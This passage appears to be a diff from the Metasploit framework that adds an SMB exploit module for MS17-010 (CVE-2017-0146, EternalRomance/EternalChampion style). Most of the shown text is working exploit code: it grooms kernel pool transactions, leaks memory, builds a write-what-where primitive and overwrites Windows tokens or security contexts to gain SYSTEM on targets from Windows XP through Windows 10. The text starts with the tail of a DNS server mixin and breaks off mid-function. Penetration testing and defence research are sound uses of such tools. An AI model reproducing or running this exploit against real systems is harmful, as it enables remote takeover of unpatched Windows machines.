||||
data = entries.split(';')
|
||||
end
|
||||
data.each do |entry|
|
||||
next if entry.gsub(/\s/,'').empty?
|
||||
addr, names = entry.split(' ', 2)
|
||||
names.split.each do |name|
|
||||
name << '.' unless name[-1] == '.' or name == '*'
|
||||
service.cache.add_static(name, addr, type)
|
||||
end
|
||||
end
|
||||
service.cache.records.select {|r,e| e == 0}
|
||||
end
|
||||
|
||||
#
|
||||
# Flush all static entries
|
||||
#
|
||||
def flush_static_hosts
|
||||
data.cache.records.select {|r,e| e == 0}.each do |flush|
|
||||
data.cache.delete(flush)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Flush cache entries
|
||||
# @param static [TrueClass, FalseClass] flush static hosts
|
||||
def flush_cache(static = false)
|
||||
self.service.cache.stop(true)
|
||||
flush_static_hosts if static
|
||||
self.service.cache.start
|
||||
end
|
||||
|
||||
#
|
||||
# Handle incoming requests
|
||||
# Override this method in modules to take flow control
|
||||
#
|
||||
def on_dispatch_request(cli, data)
|
||||
service.default_dispatch_request(cli,data)
|
||||
end
|
||||
|
||||
#
|
||||
# Handle incoming requests
|
||||
# Override this method in modules to take flow control
|
||||
#
|
||||
def on_send_response(cli, data)
|
||||
cli.write(data)
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the server
|
||||
#
|
||||
def start_service
|
||||
begin
|
||||
|
||||
comm = _determine_server_comm
|
||||
self.service = Rex::ServiceManager.start(
|
||||
Rex::Proto::DNS::Server,
|
||||
datastore['SRVHOST'],
|
||||
datastore['SRVPORT'],
|
||||
datastore['DnsServerUdp'],
|
||||
datastore['DnsServerTcp'],
|
||||
(use_resolver? ? setup_resolver : false),
|
||||
comm,
|
||||
{'Msf' => framework, 'MsfExploit' => self}
|
||||
)
|
||||
|
||||
self.service.dispatch_request_proc = Proc.new do |cli, data|
|
||||
on_dispatch_request(cli,data)
|
||||
end
|
||||
self.service.send_response_proc = Proc.new do |cli, data|
|
||||
on_send_response(cli,data)
|
||||
end
|
||||
|
||||
add_static_hosts
|
||||
self.service.start(!datastore['DISABLE_NS_CACHE'])
|
||||
|
||||
rescue ::Errno::EACCES => e
|
||||
raise Rex::BindFailed.new(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the server
|
||||
# @param destroy [TrueClass,FalseClass] Dereference the server object
|
||||
def stop_service(destroy = false)
|
||||
Rex::ServiceManager.stop_service(self.service) if self.service
|
||||
if destroy
|
||||
@dns_resolver = nil if @dns_resolver
|
||||
self.service = nil if self.service
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Resets the DNS server
|
||||
#
|
||||
def reset_service
|
||||
stop_service(true)
|
||||
start_service
|
||||
end
|
||||
|
||||
#
|
||||
# Determines if resolver is available and configured for use
|
||||
#
|
||||
def use_resolver?
|
||||
!datastore['DISABLE_RESOLVER'] and self.respond_to?(:setup_resolver)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
|
||||
require 'msf/core/exploit/smb/client/authenticated'
|
||||
require 'msf/core/exploit/smb/client/local_paths'
|
||||
require 'msf/core/exploit/smb/client/psexec'
|
||||
require 'msf/core/exploit/smb/client/psexec_ms17_010'
|
||||
require 'msf/core/exploit/smb/client/remote_paths'
|
||||
require 'msf/core/exploit/smb/server'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
|
||||
@@ -0,0 +1,1435 @@
|
||||
module Msf
|
||||
|
||||
module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Client::Psexec
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options([
|
||||
OptString.new('NAMEDPIPE', [false, 'A named pipe that can be connected to (leave blank for auto)', '']),
|
||||
OptInt.new('LEAKATTEMPTS', [true, 'How many times to try to leak transaction', 99]), # Win10 can get stubborn
|
||||
OptString.new('RPORT', [true, 'The Target port', 445]),
|
||||
OptBool.new('DBGTRACE', [ true, "Show extra debug trace info", false ]),
|
||||
])
|
||||
end
|
||||
|
||||
# used to abruptly abort exploit for a given host with error msg
|
||||
class MS17_010_Error < StandardError
|
||||
end
|
||||
|
||||
def eternal_pwn(ip)
|
||||
@ctx = {}
|
||||
@ctx['rekt'] = false # set if we need to clean up the token
|
||||
@ctx['ip'] = ip
|
||||
|
||||
connect()
|
||||
|
||||
self.simple.client.default_max_buffer_size = 4356 # this took way too damn long to debug
|
||||
self.simple.client.socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_KEEPALIVE, 1)
|
||||
self.simple.client.socket.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
|
||||
|
||||
smb_login()
|
||||
|
||||
fingerprint_os(simple.client.peer_native_os)
|
||||
|
||||
pipe_handle = find_accessible_named_pipe()
|
||||
|
||||
if @ctx['go_fish']
|
||||
exploit_fish_barrel(pipe_handle)
|
||||
else
|
||||
exploit_matched_pairs(pipe_handle)
|
||||
end
|
||||
|
||||
print_status("Built a write-what-where primitive...")
|
||||
|
||||
fmt = @ctx['PTR_FMT']
|
||||
|
||||
# IsNullSession = 0, IsAdmin = 1
|
||||
poffset = @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET']
|
||||
write_what_where("\x00\x01", poffset)
|
||||
|
||||
vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1 at 0x#{poffset.to_s(16)}")
|
||||
|
||||
modify_token()
|
||||
|
||||
@ctx['rekt'] = true # set if we need to clean up the token
|
||||
|
||||
print_good("Overwrite complete... SYSTEM session obtained!")
|
||||
end
|
||||
|
||||
def eternal_cleanup()
|
||||
begin
|
||||
if @ctx['rekt']
|
||||
if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
|
||||
userAndGroupsOffset = @ctx['userAndGroupsAddr'] - @ctx['tokenAddr']
|
||||
# -1
|
||||
write_what_where(@ctx['tokenData'][userAndGroupsOffset..userAndGroupsOffset+@ctx['fakeUserAndGroups'].length-1], @ctx['userAndGroupsAddr'])
|
||||
if @ctx['fakeUserAndGroupCount'] != @ctx['userAndGroupCount']
|
||||
write_what_where([@ctx['userAndGroupCount']].pack("V"), @ctx['tokenAddr']+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
|
||||
end
|
||||
else
|
||||
write_what_where(@ctx['secCtxData'], @ctx['secCtxAddr'])
|
||||
end
|
||||
vprint_good("SYSTEM session cleaned up.")
|
||||
end
|
||||
|
||||
disconnect # also disconnect trees and logoff??
|
||||
rescue ::Rex::Proto::SMB::Exceptions::NoReply => e
|
||||
# pass
|
||||
# it's fine.
|
||||
rescue => error
|
||||
vprint_error(error.class.to_s)
|
||||
vprint_error(error.message)
|
||||
vprint_error(error.backtrace.join("\n"))
|
||||
end
|
||||
end
|
||||
|
||||
def modify_token()
|
||||
fmt = @ctx['PTR_FMT']
|
||||
# read session struct to get SecurityContext address
|
||||
sessionData = read_data(@ctx['session'], 0x100)
|
||||
|
||||
secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
print_status("Session Data: #{bin_to_hex(sessionData)}")
|
||||
print_status("session dat len = #{sessionData.length}")
|
||||
print_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
|
||||
print_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
|
||||
print_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
|
||||
end
|
||||
|
||||
if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
|
||||
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
|
||||
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
|
||||
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
|
||||
|
||||
# find the token and modify it
|
||||
if @ctx.key? 'SECCTX_PCTXTHANDLE_OFFSET'
|
||||
pctxtDataInfo = read_data(secCtxAddr+@ctx['SECCTX_PCTXTHANDLE_OFFSET'], 8)
|
||||
pctxtDataAddr = pctxtDataInfo.unpack(fmt)[0] #unpack_from(fmt, pctxtDataInfo)[0]
|
||||
else
|
||||
pctxtDataAddr = secCtxAddr
|
||||
end
|
||||
|
||||
tokenAddrInfo = read_data(pctxtDataAddr+@ctx['PCTXTHANDLE_TOKEN_OFFSET'], 8)
|
||||
tokenAddr = tokenAddrInfo.unpack(fmt)[0] #unpack_from('<'+fmt, tokenAddrInfo)[0]
|
||||
vprint_status("Found TOKEN addr: 0x#{tokenAddr}")
|
||||
|
||||
tokenData = read_data(tokenAddr, 0x40*@ctx['PTR_SIZE'])
|
||||
@ctx['tokenData'] = tokenData
|
||||
@ctx['tokenAddr'] = tokenAddr
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
print_status("TOKEN data = #{bin_to_hex(tokenData)}")
|
||||
end
|
||||
|
||||
userAndGroupsAddr, userAndGroupCount = get_group_data_from_token(tokenData)
|
||||
|
||||
vprint_status("Overwriting _TOKEN UserAndGroups (#{userAndGroupsAddr.to_s(16)})...")
|
||||
|
||||
# modify UserAndGroups info
|
||||
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
|
||||
if fakeUserAndGroupCount != userAndGroupCount
|
||||
#write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
|
||||
write_what_where([fakeUserAndGroupCount].pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
|
||||
end
|
||||
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
||||
write_what_where(fakeUserAndGroups, userAndGroupsAddr)
|
||||
@ctx['userAndGroupsAddr'] = userAndGroupsAddr
|
||||
@ctx['fakeUserAndGroups'] = fakeUserAndGroups
|
||||
@ctx['fakeUserAndGroupCount'] = fakeUserAndGroupCount
|
||||
@ctx['userAndGroupCount'] = userAndGroupCount
|
||||
|
||||
else
|
||||
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
|
||||
# copy SecurityContext for restoration
|
||||
if datastore['DBGTRACE']
|
||||
print_status("Reading secCtxData from #{secCtxAddr.to_s(16)}")
|
||||
end
|
||||
secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE'])
|
||||
if datastore['DBGTRACE']
|
||||
print_status("Read data from secCtx: #{bin_to_hex(secCtxData)}")
|
||||
end
|
||||
|
||||
@ctx['secCtxData'] = secCtxData
|
||||
@ctx['secCtxAddr'] = secCtxAddr
|
||||
|
||||
# see FAKE_SECCTX detail at top of the file
|
||||
write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr)
|
||||
|
||||
vprint_status("Overwrote token SID security context with fake context")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def validate_token_offset(tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
|
||||
# struct _TOKEN:
|
||||
# ...
|
||||
# ULONG UserAndGroupCount; // Ro: 4-Bytes
|
||||
# ULONG RestrictedSidCount; // Ro: 4-Bytes
|
||||
# ...
|
||||
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
|
||||
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
|
||||
# ...
|
||||
|
||||
userAndGroupCount, restrictedSidCount = tokenData[userAndGroupCountOffset..-1].unpack('VV')
|
||||
userAndGroupsAddr, restrictedSids = tokenData[userAndGroupsAddrOffset..-1].unpack(@ctx['PTR_FMT']*2)
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
print_status("userAndGroupCount: 0x#{userAndGroupCount.to_s(16)}")
|
||||
print_status("userAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
|
||||
print_status("RestrictedSids: 0x#{restrictedSids.to_s(16)}")
|
||||
print_status("RestrictedSidCount: 0x#{restrictedSidCount.to_s(16)}")
|
||||
end
|
||||
|
||||
# RestrictedSidCount MUST be 0
|
||||
# RestrictedSids MUST be NULL
|
||||
#
|
||||
# userandGroupCount must NOT be 0
|
||||
# userandGroupsAddr must NOT be NULL
|
||||
#
|
||||
# Could also add a failure point here if userAndGroupCount >= x
|
||||
|
||||
success = true
|
||||
|
||||
if restrictedSidCount != 0 or restrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0
|
||||
print_error('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
|
||||
success = false
|
||||
end
|
||||
|
||||
return success, userAndGroupCount, userAndGroupsAddr
|
||||
end
|
||||
|
||||
def get_group_data_from_token(tokenData)
|
||||
|
||||
# try with default offsets
|
||||
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
|
||||
|
||||
# hack to fix XP SP0 and SP1
|
||||
# I will avoid over-engineering a more elegant solution and leave this as a hack,
|
||||
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
|
||||
if not success and @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
|
||||
print_status('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
|
||||
|
||||
# update with hack offsets
|
||||
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
|
||||
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
|
||||
|
||||
# try again with hack offsets
|
||||
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
|
||||
end
|
||||
|
||||
# still no good. Abort because something is wrong
|
||||
if not success
|
||||
raise MS17_010_Error, 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
|
||||
end
|
||||
|
||||
# token parsed and validated
|
||||
return userAndGroupsAddr, userAndGroupCount
|
||||
end
|
||||
|
||||
|
||||
def write_what_where(what, where)
|
||||
if where == 0
|
||||
raise MS17_010_Error, 'Attempted to write to a NULL pointer!'
|
||||
end
|
||||
|
||||
# modify trans2.InData on trans1 mid
|
||||
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'],
|
||||
data: [where].pack(@ctx['PTR_FMT']),
|
||||
dataDisplacement: @ctx['TRANS_INDATA_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
do_smb_echo()
|
||||
|
||||
# write data on trans2 mid
|
||||
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans2_mid'], data: what)
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
do_smb_echo()
|
||||
end
|
||||
|
||||
def read_data(read_addr, read_size)
|
||||
if read_addr == 0
|
||||
raise MS17_010_Error, 'Attempted to read from a NULL pointer!'
|
||||
end
|
||||
|
||||
fmt = @ctx['PTR_FMT']
|
||||
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
|
||||
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
|
||||
new_data = [@ctx['trans2_addr']+@ctx['TRANS_FLINK_OFFSET'], @ctx['trans2_addr']+0x200, read_addr].pack(fmt * 3) #pack('<'+fmt*3, ) # OutParameter, InData, OutData
|
||||
new_data << [0, 0].pack("VV") #pack('<II', 0, 0) # SetupCount, MaxSetupCount
|
||||
new_data << [8, 8, 8].pack("VVV") #pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
|
||||
new_data << [read_size, read_size, read_size].pack("VVV") #pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
|
||||
new_data << [0, 5].pack("vv") #pack('<HH', 0, 5) # Category, Function (NT_RENAME)
|
||||
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], data: new_data, dataDisplacement: @ctx['TRANS_OUTPARAM_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
# create one more transaction before leaking data
|
||||
# - next transaction can be used for arbitrary read/write after the current trans2 is done
|
||||
# - next transaction address is from TransactionListEntry.Flink value
|
||||
pkt = create_nt_trans_packet(5, param: [@ctx['fid']].pack("V"), totalDataCount: 0x4300-0x20, totalParameterCount: 0x1000)
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
# finish the trans2 to leak
|
||||
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans2_mid'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
read_data = recv_transaction_data(@ctx['trans2_mid'], 8 + read_size)
|
||||
|
||||
# set new trans2 address
|
||||
#@ctx['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - @ctx['TRANS_FLINK_OFFSET']
|
||||
@ctx['trans2_addr'] = read_data.unpack(fmt)[0] - @ctx['TRANS_FLINK_OFFSET']
|
||||
|
||||
# set trans1.InData to &trans2
|
||||
# pack('<'+fmt, @ctx['trans2_addr'])
|
||||
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], param: [@ctx['trans2_addr']].pack(fmt), paramDisplacement: @ctx['TRANS_INDATA_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
do_smb_echo()
|
||||
|
||||
# modify trans2 mid
|
||||
#pack('<H', @ctx['trans2_mid'])
|
||||
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], data: [@ctx['trans2_mid']].pack("v"), dataDisplacement: @ctx['TRANS_MID_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
do_smb_echo()
|
||||
|
||||
return read_data[8..-1] # no need to return parameter
|
||||
end
|
||||
|
||||
def fingerprint_os(os)
|
||||
print_status("Target OS: #{os}")
|
||||
|
||||
if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012'
|
||||
@ctx['os'] = 'WIN8'
|
||||
@ctx['go_fish'] = false
|
||||
elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2'
|
||||
@ctx['os'] = 'WIN7'
|
||||
@ctx['go_fish'] = false
|
||||
elsif os.starts_with? "Windows Server (R) 2008" or os.starts_with? 'Windows Vista'
|
||||
@ctx['os'] = 'WIN7'
|
||||
@ctx['go_fish'] = true
|
||||
elsif os.starts_with? "Windows Server 2003 "
|
||||
@ctx['os'] = 'WIN2K3'
|
||||
@ctx['go_fish'] = true
|
||||
elsif os.starts_with? "Windows 5.1"
|
||||
@ctx['os'] = 'WINXP'
|
||||
@ctx['arch'] = 'x86'
|
||||
@ctx['go_fish'] = true
|
||||
pick_ctx()
|
||||
elsif os.starts_with? "Windows XP "
|
||||
@ctx['os'] = 'WINXP'
|
||||
@ctx['arch'] = 'x64'
|
||||
@ctx['go_fish'] = true
|
||||
pick_ctx()
|
||||
elsif os.starts_with? "Windows 5.0"
|
||||
@ctx['os'] = 'WIN2K'
|
||||
@ctx['arch'] = 'x86'
|
||||
@ctx['go_fish'] = true
|
||||
pick_ctx()
|
||||
else
|
||||
raise MS17_010_Error, 'Exploit unavailable for target OS.'
|
||||
end
|
||||
end
|
||||
|
||||
def find_accessible_named_pipe()
|
||||
pipes = if datastore['NAMEDPIPE'] != '' then [datastore['NAMEDPIPE']] else @@target_pipes end
|
||||
|
||||
pipes.each do |pipe|
|
||||
begin
|
||||
pipe_name = "#{pipe}"
|
||||
pipe_handle = self.simple.create_pipe(pipe_name, 'o')
|
||||
|
||||
# if we make it this far, it succeeded
|
||||
vprint_status("Connected to named pipe: #{pipe}")
|
||||
|
||||
@ctx['pipe_name'] = pipe_name
|
||||
return pipe_handle
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Inaccessible named pipe: #{pipe} - #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
raise MS17_010_Error, "Unable to find accessible named pipe!"
|
||||
end
|
||||
|
||||
# todo: spice it up with EternalSynergy output
|
||||
def exploit_matched_pairs(pipe_handle)
|
||||
begin
|
||||
leak_frag_size(pipe_handle.file_id)
|
||||
rescue TypeError => e
|
||||
raise MS17_010_Error, 'TypeError leaking initial Frag size, is the target patched?'
|
||||
end
|
||||
|
||||
# we have all info for offsets now
|
||||
#@ctx = @ctx.merge(OS_ARCH_INFO[@ctx['os']][@ctx['arch']])
|
||||
pick_ctx()
|
||||
|
||||
# groom: srv buffer header
|
||||
@ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN'])
|
||||
|
||||
|
||||
# groom paramters and data is alignment by 8 because it is NT_TRANS
|
||||
@ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE'] # alignment (4)
|
||||
|
||||
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
|
||||
bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE']
|
||||
@ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'])
|
||||
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
|
||||
print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
|
||||
end
|
||||
|
||||
# bride paramters and data is alignment by 4 because it is TRANS
|
||||
@ctx['BRIDE_DATA_SIZE'] = @ctx['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - @ctx['TRANS_SIZE']
|
||||
|
||||
# ================================
|
||||
# try align pagedpool and leak info until satisfy
|
||||
# ================================
|
||||
for i in 0..datastore['LEAKATTEMPTS']
|
||||
reset_extra_multiplex_id()
|
||||
|
||||
|
||||
vprint_status("Attempting leak ##{i.to_s}")
|
||||
|
||||
leakInfo = align_transaction_and_leak(pipe_handle)
|
||||
|
||||
if leakInfo != nil
|
||||
break
|
||||
end
|
||||
|
||||
vprint_status("Align transaction and leak failed, attempt ##{i.to_s}")
|
||||
|
||||
# we don't need to do any cleanup in this case
|
||||
if i == datastore['LEAKATTEMPTS'] - 1
|
||||
raise MS17_010_Error, "Abort after using up all LEAKATTEMPTS."
|
||||
end
|
||||
|
||||
# close pipe, disconnect IPC$
|
||||
pipe_handle.close()
|
||||
self.simple.client.tree_disconnect()
|
||||
|
||||
# connect IPC$, open pipe
|
||||
self.simple.client.tree_connect("\\\\#{@ctx['ip']}\\IPC$")
|
||||
pipe_handle = self.simple.create_pipe(@ctx['pipe_name'], 'o')
|
||||
end
|
||||
|
||||
|
||||
@ctx['fid'] = pipe_handle.file_id
|
||||
@ctx['pipe_handle'] = pipe_handle
|
||||
@ctx = @ctx.merge(leakInfo)
|
||||
|
||||
vprint_status("Leaked connection struct (0x#{@ctx['connection'].to_s(16)}), performing WriteAndX type confusion")
|
||||
|
||||
# ================================
|
||||
# shift transGroom.Indata ptr with SmbWriteAndX
|
||||
# ================================
|
||||
shift_indata_byte = 0x200
|
||||
do_write_andx_raw_pipe(fid:pipe_handle.file_id, data: Rex::Text.rand_text_alpha(shift_indata_byte))#'A'*shift_indata_byte)
|
||||
|
||||
# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
|
||||
# So the below operation is still dangerous. Write only 1 byte with "\x00" might be safe even alignment is wrong.
|
||||
# maxParameterCount (0x1000), trans name (4), param (4)
|
||||
indata_value = @ctx['next_page_addr'] + @ctx['TRANS_SIZE'] + 8 + @ctx['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
|
||||
indata_next_trans_displacement = @ctx['trans2_addr'] - indata_value
|
||||
|
||||
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||
# a new transaction with special_mid should be error.
|
||||
delta = indata_next_trans_displacement + @ctx['TRANS_MID_OFFSET']
|
||||
pkt = create_nt_trans_secondary_packet(mid: pipe_handle.file_id, data: "\x00",
|
||||
dataDisplacement: delta)
|
||||
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
# wait for completion
|
||||
do_smb_echo()
|
||||
|
||||
pkt = create_nt_trans_packet(5, mid: @@special_mid, param: [pipe_handle.file_id].pack("V"), data: '')
|
||||
recvPkt = smb_send_recv_raw(pkt.to_s)
|
||||
|
||||
errno = recvPkt['Payload']['SMB'].v['ErrorClass']
|
||||
if errno != 0x10002 # non-specific server error
|
||||
raise MS17_010_Error, "Unexpected return status during overwrite: 0x#{errno.to_s(16)}"
|
||||
end
|
||||
|
||||
vprint_status("Control of groom transaction")
|
||||
|
||||
fmt = @ctx['PTR_FMT']
|
||||
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
|
||||
pkt = create_nt_trans_secondary_packet(mid: pipe_handle.file_id, data: [@ctx['trans1_addr']].pack(fmt),
|
||||
dataDisplacement: indata_next_trans_displacement + @ctx['TRANS_INDATA_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
do_smb_echo()
|
||||
|
||||
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
|
||||
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
|
||||
pkt = create_nt_trans_secondary_packet(mid: @@special_mid,
|
||||
data: [@ctx['trans1_addr'], @ctx['trans1_addr']+0x200, @ctx['trans2_addr']].pack(fmt * 3),
|
||||
dataDisplacement: @ctx['TRANS_INPARAM_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
do_smb_echo()
|
||||
|
||||
# modify trans2.mid
|
||||
@ctx['trans2_mid'] = next_multiplex_id()
|
||||
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'],
|
||||
data: [@ctx['trans2_mid']].pack('v'),
|
||||
dataDisplacement: @ctx['TRANS_MID_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
end
|
||||
|
||||
# This will (just) leak info using the RCE from ETERNALCHAMPION
|
||||
# CVE-2017-0146 - Race condition with Transaction requests
|
||||
def align_transaction_and_leak(pipe_handle)
|
||||
op = ::Rex::Proto::SMB::Constants::NT_TRANSACT_RENAME
|
||||
trans_param = [pipe_handle.file_id].pack("V")
|
||||
|
||||
# fill large pagedpool holes (maybe no need)
|
||||
for i in 0..3
|
||||
|
||||
mid = next_multiplex_id()
|
||||
|
||||
pkt = create_nt_trans_packet(op, param: trans_param, mid: mid,
|
||||
totalDataCount: 0x10d0,
|
||||
maxParameterCount: GROOM_TRANS_SIZE - 0x10d0)
|
||||
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
end
|
||||
|
||||
mid_ntrename = next_multiplex_id()
|
||||
|
||||
# 1st groom
|
||||
req1 = create_nt_trans_packet(op, param: trans_param, mid: mid_ntrename, data: Rex::Text.rand_text_alpha(0x10d0), #'A'*0x10d0,
|
||||
maxParameterCount: @ctx['GROOM_DATA_SIZE']-0x10d0)
|
||||
|
||||
req2 = create_nt_trans_secondary_packet(mid: mid_ntrename, data: Rex::Text.rand_text_alpha(276)) #'B'*276) # leak more 276 bytes
|
||||
|
||||
# 2nd groom
|
||||
req3 = create_nt_trans_packet(op, param: trans_param, mid: pipe_handle.file_id,
|
||||
totalDataCount: @ctx['GROOM_DATA_SIZE']-0x1000, maxParameterCount: 0x1000)
|
||||
|
||||
reqs = ''
|
||||
for i in 0..11
|
||||
mid = next_extra_multiplex_id()
|
||||
req = create_trans_packet(mid: mid, param: trans_param, totalDataCount: @ctx['BRIDE_DATA_SIZE']-0x200,
|
||||
totalParameterCount: 0x200, maxDataCount: 0, maxParameterCount: 0)
|
||||
#reqs.push(req)
|
||||
reqs += req.to_s
|
||||
end
|
||||
|
||||
self.simple.client.smb_send(req1.to_s[0..-9])
|
||||
self.simple.client.smb_send(req1.to_s[-8..-1] + req2.to_s + req3 .to_s + reqs)
|
||||
|
||||
# expected transactions alignment ("Frag" pool is not shown)
|
||||
#
|
||||
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
|
||||
# +-------------------------------+----------------+-------------------------------+----------------+
|
||||
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
|
||||
# +-------------------------------+----------------+-------------------------------+----------------+
|
||||
#
|
||||
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
|
||||
# From leaked transaction, we get
|
||||
# - leaked transaction address from InParameter or InData
|
||||
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
|
||||
# With these information, we can verify the transaction aligment from displacement.
|
||||
|
||||
leakData = recv_transaction_data(mid_ntrename, 0x10d0 + 276)
|
||||
leakData = leakData[0x10d4..-1] # skip parameters and its own input
|
||||
|
||||
# make sure pool starts with Frag
|
||||
if !(leakData[@ctx['FRAG_TAG_OFFSET']..-1].starts_with? 'Frag')
|
||||
vprint_error("Frag pool tag not found at correct offset!")
|
||||
return nil
|
||||
end
|
||||
|
||||
# ================================
|
||||
# verify leak data
|
||||
# ================================
|
||||
start = @ctx['FRAG_TAG_OFFSET'] - 4 + @ctx['FRAG_POOL_SIZE']
|
||||
leakData = leakData[start..-1]
|
||||
|
||||
